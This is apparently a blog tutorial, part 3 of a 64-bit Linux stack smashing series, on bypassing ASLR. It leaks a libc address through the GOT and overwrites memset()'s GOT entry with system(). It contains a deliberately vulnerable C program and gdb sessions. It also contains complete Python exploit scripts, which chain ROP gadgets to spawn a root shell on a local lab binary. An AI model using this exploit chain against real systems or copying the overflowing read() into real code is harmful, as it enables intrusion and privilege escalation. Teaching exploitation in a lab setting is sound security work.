64-bit Linux stack smashing tutorial: Part 3

t’s been almost a year since I posted part 2, and since then, I’ve received requests to write a follow up on how to bypass ASLR. There are quite a few ways to do this, and rather than go over all of them, I’ve picked one interesting technique that I’ll describe here. It involves leaking a library function’s address from the GOT, and using it to determine the addresses of other functions in libc that we can return to.

Setup

The setup is identical to what I was using in part 1 and part 2. No new tools required.

Leaking a libc address

Here’s the source code for the binary we’ll be exploiting:


<span class="cm">/* Compile: gcc -fno-stack-protector leak.c -o leak          */</span>
<span class="cm">/* Enable ASLR: echo 2 &gt; /proc/sys/kernel/randomize_va_space */</span>

<span class="cp">#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
</span>
<span class="kt">void</span> <span class="nf">helper</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">asm</span><span class="p">(</span><span class="s">"pop %rdi; pop %rsi; pop %rdx; ret"</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">vuln</span><span class="p">()</span> <span class="p">{</span>
    <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">150</span><span class="p">];</span>
    <span class="kt">ssize_t</span> <span class="n">b</span><span class="p">;</span>
    <span class="n">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">150</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Enter input: "</span><span class="p">);</span>
    <span class="n">b</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">400</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"Recv: "</span><span class="p">);</span>
    <span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">b</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="n">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[]){</span>
    <span class="n">setbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">vuln</span><span class="p">();</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

You can compile it yourself, or download the precompiled binary here.

The vulnerability is in the vuln() function, where read() is allowed to write 400 bytes into a 150 byte buffer. With ASLR on, we can’t just return to system() as its address will be different each time the program runs. The high level solution to exploiting this is as follows:

  1. Leak the address of a library function in the GOT. In this case, we’ll leak memset()’s GOT entry, which will give us memset()’s address.
  2. Get libc’s base address so we can calculate the address of other library functions. libc’s base address is the difference between memset()’s address, and memset()’s offset from libc.so.6.
  3. A library function’s address can be obtained by adding its offset from libc.so.6 to libc’s base address. In this case, we’ll get system()’s address.
  4. Overwrite a GOT entry’s address with system()’s address, so that when we call that function, it calls system() instead.

You should have a bit of an understanding on how shared libraries work in Linux. In a nutshell, the loader will initially point the GOT entry for a library function to some code that will do a slow lookup of the function address. Once it finds it, it overwrites its GOT entry with the address of the library function so it doesn’t need to do the lookup again. That means the second time a library function is called, the GOT entry will point to that function’s address. That’s what we want to leak. For a deeper understanding of how this all works, I refer you to PLT and GOT — the key to code sharing and dynamic libraries.

Let’s try to leak memset()’s address. We’ll run the binary under socat so we can communicate with it over port 2323:


# socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./leak

Grab memset()’s entry in the GOT:


# objdump -R leak | grep memset
0000000000601030 R_X86_64_JUMP_SLOT  memset

Let’s set a breakpoint at the call to memset() in vuln(). If we disassemble vuln(), we see that the call happens at 0x4006c6. So add a breakpoint in ~/.gdbinit:


# echo "br *0x4006c6" &gt;&gt; ~/.gdbinit

Now let’s attach gdb to socat.


# gdb -q -p `pidof socat`
Breakpoint 1 at 0x4006c6
Attaching to process 10059
.
.
.
gdb-peda$ c
Continuing.

Hit “c” to continue execution. At this point, it’s waiting for us to connect, so we’ll fire up nc and connect to localhost on port 2323:


# nc localhost 2323

Now check gdb, and it will have hit the breakpoint, right before memset() is called.


   0x4006c3 &lt;vuln+28&gt;:  mov    rdi,rax
=&gt; 0x4006c6 &lt;vuln+31&gt;:  call   0x400570 &lt;memset@plt&gt;
   0x4006cb &lt;vuln+36&gt;:  mov    edi,0x4007e4

Since this is the first time memset() is being called, we expect that its GOT entry points to the slow lookup function.


gdb-peda$ x/gx 0x601030
0x601030 &lt;memset@got.plt&gt;:      0x0000000000400576
gdb-peda$ x/5i 0x0000000000400576
   0x400576 &lt;memset@plt+6&gt;:     push   0x3
   0x40057b &lt;memset@plt+11&gt;:    jmp    0x400530
   0x400580 &lt;read@plt&gt;: jmp    QWORD PTR [rip+0x200ab2]        # 0x601038 &lt;read@got.plt&gt;
   0x400586 &lt;read@plt+6&gt;:       push   0x4
   0x40058b &lt;read@plt+11&gt;:      jmp    0x400530

Step over the call to memset() so that it executes, and examine its GOT entry again. This time it points to memset()’s address:


gdb-peda$ x/gx 0x601030
0x601030 &lt;memset@got.plt&gt;:      0x00007f86f37335c0
gdb-peda$ x/5i 0x00007f86f37335c0
   0x7f86f37335c0 &lt;memset&gt;:     movd   xmm8,esi
   0x7f86f37335c5 &lt;memset+5&gt;:   mov    rax,rdi
   0x7f86f37335c8 &lt;memset+8&gt;:   punpcklbw xmm8,xmm8
   0x7f86f37335cd &lt;memset+13&gt;:  punpcklwd xmm8,xmm8
   0x7f86f37335d2 &lt;memset+18&gt;:  pshufd xmm8,xmm8,0x0

If we can write memset()’s GOT entry back to us, we’ll receive it’s address of 0x00007f86f37335c0. We can do that by overwriting vuln()’s saved return pointer to setup a ret2plt; in this case, write@plt. Since we’re exploiting a 64-bit binary, we need to populate the RDI, RSI, and RDX registers with the arguments for write(). So we need to return to a ROP gadget that sets up these registers, and then we can return to write@plt.

I’ve created a helper function in the binary that contains a gadget that will pop three values off the stack into RDI, RSI, and RDX. If we disassemble helper(), we’ll see that the gadget starts at 0x4006a1. Here’s the start of our exploit:


<span class="c">#!/usr/bin/env python</span>

<span class="kn">from</span> <span class="nn">socket</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">struct</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">write_plt</span>  <span class="o">=</span> <span class="mh">0x400540</span>            <span class="c"># address of write@plt</span>
<span class="n">memset_got</span> <span class="o">=</span> <span class="mh">0x601030</span>            <span class="c"># memset()'s GOT entry</span>
<span class="n">pop3ret</span>    <span class="o">=</span> <span class="mh">0x4006a1</span>            <span class="c"># gadget to pop rdi; pop rsi; pop rdx; ret</span>

<span class="n">buf</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="s">"A"</span><span class="o">*</span><span class="mi">168</span>                  <span class="c"># padding to RIP's offset</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">pop3ret</span><span class="p">)</span>      <span class="c"># pop args into registers</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="mh">0x1</span><span class="p">)</span>          <span class="c"># stdout</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">memset_got</span><span class="p">)</span>   <span class="c"># address to read from</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="mh">0x8</span><span class="p">)</span>          <span class="c"># number of bytes to write to stdout</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">write_plt</span><span class="p">)</span>    <span class="c"># return to write@plt</span>

<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="n">s</span><span class="o">.</span><span class="n">connect</span><span class="p">((</span><span class="s">"127.0.0.1"</span><span class="p">,</span> <span class="mi">2323</span><span class="p">))</span>

<span class="k">print</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>              <span class="c"># "Enter input" prompt</span>
<span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">buf</span> <span class="o">+</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>              <span class="c"># send buf to overwrite RIP</span>
<span class="k">print</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>              <span class="c"># receive server reply</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)[</span><span class="o">-</span><span class="mi">8</span><span class="p">:]</span>           <span class="c"># we returned to write@plt, so receive the leaked memset() libc address </span>
                                <span class="c"># which is the last 8 bytes in the reply</span>

<span class="n">memset_addr</span> <span class="o">=</span> <span class="n">unpack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">d</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"memset() is at"</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">memset_addr</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>

<span class="c"># keep socket open so gdb doesn't get a SIGTERM</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
    <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>

Let’s see it in action:


# ./poc.py
Enter input:
Recv:
memset() is at 0x7f679978e5c0

I recommend attaching gdb to socat as before and running poc.py. Step through the instructions so you can see what’s going on. After memset() is called, do a “

p memset

”, and compare that address with the leaked address you receive. If it’s identical, then you’ve successfully leaked memset()’s address.

Next we need to calculate libc’s base address in order to get the address of any library function, or even a gadget, in libc. First, we need to get memset()’s offset from libc.so.6. On my machine, libc.so.6 is at /lib/x86_64-linux-gnu/libc.so.6. You can find yours by using ldd:


# ldd leak
        linux-vdso.so.1 =&gt;  (0x00007ffd5affe000)
        libc.so.6 =&gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff25c07d000)
        /lib64/ld-linux-x86-64.so.2 (0x00005630d0961000)

libc.so.6 contains the offsets of all the functions available to us in libc. To get memset()’s offset, we can use readelf:


# readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep memset
    66: 00000000000a1de0   117 FUNC    GLOBAL DEFAULT   12 wmemset@@GLIBC_2.2.5
   771: 000000000010c150    16 FUNC    GLOBAL DEFAULT   12 __wmemset_chk@@GLIBC_2.4
   838: 000000000008c5c0   247 FUNC    GLOBAL DEFAULT   12 memset@@GLIBC_2.2.5
  1383: 000000000008c5b0     9 FUNC    GLOBAL DEFAULT   12 __memset_chk@@GLIBC_2.3.4

memset()’s offset is at 0x8c5c0. Subtracting this from the leaked memset()’s address will give us libc’s base address.

To find the address of any library function, we just do the reverse and add the function’s offset to libc’s base address. So to find system()’s address, we get its offset from libc.so.6, and add it to libc’s base address.

Here’s our modified exploit that leaks memset()’s address, calculates libc’s base address, and finds the address of system():


<span class="c"># ./poc.py</span>
<span class="c">#!/usr/bin/env python</span>

<span class="kn">from</span> <span class="nn">socket</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">struct</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">write_plt</span>  <span class="o">=</span> <span class="mh">0x400540</span>            <span class="c"># address of write@plt</span>
<span class="n">memset_got</span> <span class="o">=</span> <span class="mh">0x601030</span>            <span class="c"># memset()'s GOT entry</span>
<span class="n">memset_off</span> <span class="o">=</span> <span class="mh">0x08c5c0</span>            <span class="c"># memset()'s offset in libc.so.6</span>
<span class="n">system_off</span> <span class="o">=</span> <span class="mh">0x046640</span>            <span class="c"># system()'s offset in libc.so.6</span>
<span class="n">pop3ret</span>    <span class="o">=</span> <span class="mh">0x4006a1</span>            <span class="c"># gadget to pop rdi; pop rsi; pop rdx; ret</span>

<span class="n">buf</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="s">"A"</span><span class="o">*</span><span class="mi">168</span>                  <span class="c"># padding to RIP's offset</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">pop3ret</span><span class="p">)</span>      <span class="c"># pop args into registers</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="mh">0x1</span><span class="p">)</span>          <span class="c"># stdout</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">memset_got</span><span class="p">)</span>   <span class="c"># address to read from</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="mh">0x8</span><span class="p">)</span>          <span class="c"># number of bytes to write to stdout</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">write_plt</span><span class="p">)</span>    <span class="c"># return to write@plt</span>

<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="n">s</span><span class="o">.</span><span class="n">connect</span><span class="p">((</span><span class="s">"127.0.0.1"</span><span class="p">,</span> <span class="mi">2323</span><span class="p">))</span>

<span class="k">print</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>              <span class="c"># "Enter input" prompt</span>
<span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">buf</span> <span class="o">+</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>              <span class="c"># send buf to overwrite RIP</span>
<span class="k">print</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>              <span class="c"># receive server reply</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)[</span><span class="o">-</span><span class="mi">8</span><span class="p">:]</span>           <span class="c"># we returned to write@plt, so receive the leaked memset() libc address</span>
                                <span class="c"># which is the last 8 bytes in the reply</span>

<span class="n">memset_addr</span> <span class="o">=</span> <span class="n">unpack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">d</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"memset() is at"</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">memset_addr</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>

<span class="n">libc_base</span> <span class="o">=</span> <span class="n">memset_addr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">-</span> <span class="n">memset_off</span>
<span class="k">print</span> <span class="s">"libc base is"</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">)</span>

<span class="n">system_addr</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="n">system_off</span>
<span class="k">print</span> <span class="s">"system() is at"</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">system_addr</span><span class="p">)</span>

<span class="c"># keep socket open so gdb doesn't get a SIGTERM</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
    <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>

And here it is in action:


# ./poc.py
Enter input:
Recv:
memset() is at 0x7f9d206e45c0
libc base is 0x7f9d20658000
system() is at 0x7f9d2069e640

Now that we can get any library function address, we can do a ret2libc to complete the exploit. We’ll overwrite memset()’s GOT entry with the address of system(), so that when we trigger a call to memset(), it will call system(“/bin/sh”) instead. Here’s what we need to do:

  1. Overwrite memset()’s GOT entry with the address of system() using read@plt.
  2. Write “/bin/sh” somewhere in memory using read@plt. We’ll use 0x601000 since it’s a writable location with a static address.
  3. Set RDI to the location of “/bin/sh” and return to system().

Here’s the final exploit:


<span class="c">#!/usr/bin/env python</span>

<span class="kn">import</span> <span class="nn">telnetlib</span>
<span class="kn">from</span> <span class="nn">socket</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">struct</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">write_plt</span>  <span class="o">=</span> <span class="mh">0x400540</span>            <span class="c"># address of write@plt</span>
<span class="n">read_plt</span>   <span class="o">=</span> <span class="mh">0x400580</span>            <span class="c"># address of read@plt</span>
<span class="n">memset_plt</span> <span class="o">=</span> <span class="mh">0x400570</span>            <span class="c"># address of memset@plt</span>
<span class="n">memset_got</span> <span class="o">=</span> <span class="mh">0x601030</span>            <span class="c"># memset()'s GOT entry</span>
<span class="n">memset_off</span> <span class="o">=</span> <span class="mh">0x08c5c0</span>            <span class="c"># memset()'s offset in libc.so.6</span>
<span class="n">system_off</span> <span class="o">=</span> <span class="mh">0x046640</span>            <span class="c"># system()'s offset in libc.so.6</span>
<span class="n">pop3ret</span>    <span class="o">=</span> <span class="mh">0x4006a1</span>            <span class="c"># gadget to pop rdi; pop rsi; pop rdx; ret</span>
<span class="n">writeable</span>  <span class="o">=</span> <span class="mh">0x601000</span>            <span class="c"># location to write "/bin/sh" to</span>

<span class="c"># leak memset()'s libc address using write@plt</span>
<span class="n">buf</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="s">"A"</span><span class="o">*</span><span class="mi">168</span>                  <span class="c"># padding to RIP's offset</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">pop3ret</span><span class="p">)</span>      <span class="c"># pop args into registers</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="mh">0x1</span><span class="p">)</span>          <span class="c"># stdout</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">memset_got</span><span class="p">)</span>   <span class="c"># address to read from</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="mh">0x8</span><span class="p">)</span>          <span class="c"># number of bytes to write to stdout</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">write_plt</span><span class="p">)</span>    <span class="c"># return to write@plt</span>

<span class="c"># payload for stage 1: overwrite memset()'s GOT entry using read@plt</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">pop3ret</span><span class="p">)</span>      <span class="c"># pop args into registers</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">)</span>          <span class="c"># stdin</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">memset_got</span><span class="p">)</span>   <span class="c"># address to write to</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="mh">0x8</span><span class="p">)</span>          <span class="c"># number of bytes to read from stdin</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">read_plt</span><span class="p">)</span>     <span class="c"># return to read@plt</span>

<span class="c"># payload for stage 2: read "/bin/sh" into 0x601000 using read@plt</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">pop3ret</span><span class="p">)</span>      <span class="c"># pop args into registers</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">)</span>          <span class="c"># junk</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">writeable</span><span class="p">)</span>    <span class="c"># location to write "/bin/sh" to</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="mh">0x8</span><span class="p">)</span>          <span class="c"># number of bytes to read from stdin</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">read_plt</span><span class="p">)</span>     <span class="c"># return to read@plt</span>

<span class="c"># payload for stage 3: set RDI to location of "/bin/sh", and call system()</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">pop3ret</span><span class="p">)</span>      <span class="c"># pop rdi; ret</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">writeable</span><span class="p">)</span>    <span class="c"># address of "/bin/sh"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="mh">0x1</span><span class="p">)</span>          <span class="c"># junk</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="mh">0x1</span><span class="p">)</span>          <span class="c"># junk</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">memset_plt</span><span class="p">)</span>   <span class="c"># return to memset@plt which is actually system() now</span>

<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="n">s</span><span class="o">.</span><span class="n">connect</span><span class="p">((</span><span class="s">"127.0.0.1"</span><span class="p">,</span> <span class="mi">2323</span><span class="p">))</span>

<span class="c"># stage 1: overwrite RIP so we return to write@plt to leak memset()'s libc address</span>
<span class="k">print</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>              <span class="c"># "Enter input" prompt</span>
<span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">buf</span> <span class="o">+</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>              <span class="c"># send buf to overwrite RIP</span>
<span class="k">print</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>              <span class="c"># receive server reply</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)[</span><span class="o">-</span><span class="mi">8</span><span class="p">:]</span>           <span class="c"># we returned to write@plt, so receive the leaked memset() libc address </span>
                                <span class="c"># which is the last 8 bytes in the reply</span>

<span class="n">memset_addr</span> <span class="o">=</span> <span class="n">unpack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">d</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"memset() is at"</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">memset_addr</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>

<span class="n">libc_base</span> <span class="o">=</span> <span class="n">memset_addr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">-</span> <span class="n">memset_off</span>
<span class="k">print</span> <span class="s">"libc base is"</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">)</span>

<span class="n">system_addr</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="n">system_off</span>
<span class="k">print</span> <span class="s">"system() is at"</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">system_addr</span><span class="p">)</span>

<span class="c"># stage 2: send address of system() to overwrite memset()'s GOT entry</span>
<span class="k">print</span> <span class="s">"sending system()'s address"</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">system_addr</span><span class="p">)</span>
<span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">system_addr</span><span class="p">))</span>

<span class="c"># stage 3: send "/bin/sh" to writable location</span>
<span class="k">print</span> <span class="s">"sending '/bin/sh'"</span>
<span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s">"/bin/sh"</span><span class="p">)</span>

<span class="c"># get a shell</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">telnetlib</span><span class="o">.</span><span class="n">Telnet</span><span class="p">()</span>
<span class="n">t</span><span class="o">.</span><span class="n">sock</span> <span class="o">=</span> <span class="n">s</span>
<span class="n">t</span><span class="o">.</span><span class="n">interact</span><span class="p">()</span>

I’ve commented the code heavily, so hopefully that will explain what’s going on. If you’re still a bit confused, attach gdb to socat and step through the process. For good measure, let’s run the binary as the root user, and run the exploit as a non-priviledged user:


koji@pwnbox:/root/work$ whoami
koji
koji@pwnbox:/root/work$ ./poc.py
Enter input:
Recv:
memset() is at 0x7f57f50015c0
libc base is 0x7f57f4f75000
system() is at 0x7f57f4fbb640
+ sending system()'s address 0x7f57f4fbb640
+ sending '/bin/sh'
whoami
root

Got a root shell and we bypassed ASLR, and NX!

We’ve looked at one way to bypass ASLR by leaking an address in the GOT. There are other ways to do it, and I refer you to the ASLR Smack & Laugh Reference for some interesting reading. Before I end off, you may have noticed that you need to have the correct version of libc to subtract an offset from the leaked address in order to get libc’s base address. If you don’t have access to the target’s version of libc, you can attempt to identify it using libc-database. Just pass it the leaked address and hopefully, it will identify the libc version on the target, which will allow you to get the correct offset of a function.

РубрикиБез рубрики

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *